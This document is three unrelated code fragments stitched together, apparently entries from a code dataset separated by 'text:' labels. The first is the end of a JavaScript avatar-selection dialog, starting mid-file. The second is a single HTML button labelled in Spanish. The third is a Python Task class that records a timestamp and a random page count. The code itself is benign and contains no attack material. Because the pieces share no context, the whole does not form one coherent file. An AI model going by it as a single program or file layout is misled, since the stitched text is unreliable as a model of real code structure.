   * @returns {AvatarSelectDialog}
   */
  render: function () {
    this.renderTemplate();

    return this;
  },

  handleClickAvatar: function (event) {
    event.preventDefault();

    this.trigger('select', $(event.target).data('id'));
    this.close();
  },

  /**
   * @method handleClickClose
   * @param {Event} event
   */
  handleClickClose: function (event) {
    event.preventDefault();

    this.trigger('close');
    this.close();
  },

  /**
   * Returns an array of row groups for displaying avatars.
   * @returns {Array}
   */
  getAvatarRows: function () {
    return _.chunk(this.avatars, 4);
  },

  /**
   * Returns a string file path where the avatars are located.
   * @returns {String}
   */
  getFilePath: function () {
    return app.isCordova() ? 'media/avatars/' : '/media/avatars/';
  },
});


text: <button href="#" onclick="mas_articulos()" class="btn btn-small">más artículos</button>


text:
import random
class Task:
    def __init__(self,time):
        self.timestamp = time
        self.pages = random.randrange(1,21)

    def getStamp(self):
        return self.timestamp

    def getPages(self):
        return self.pages

    def waitTime(self, currenttime):
        return currenttime - self.timestamp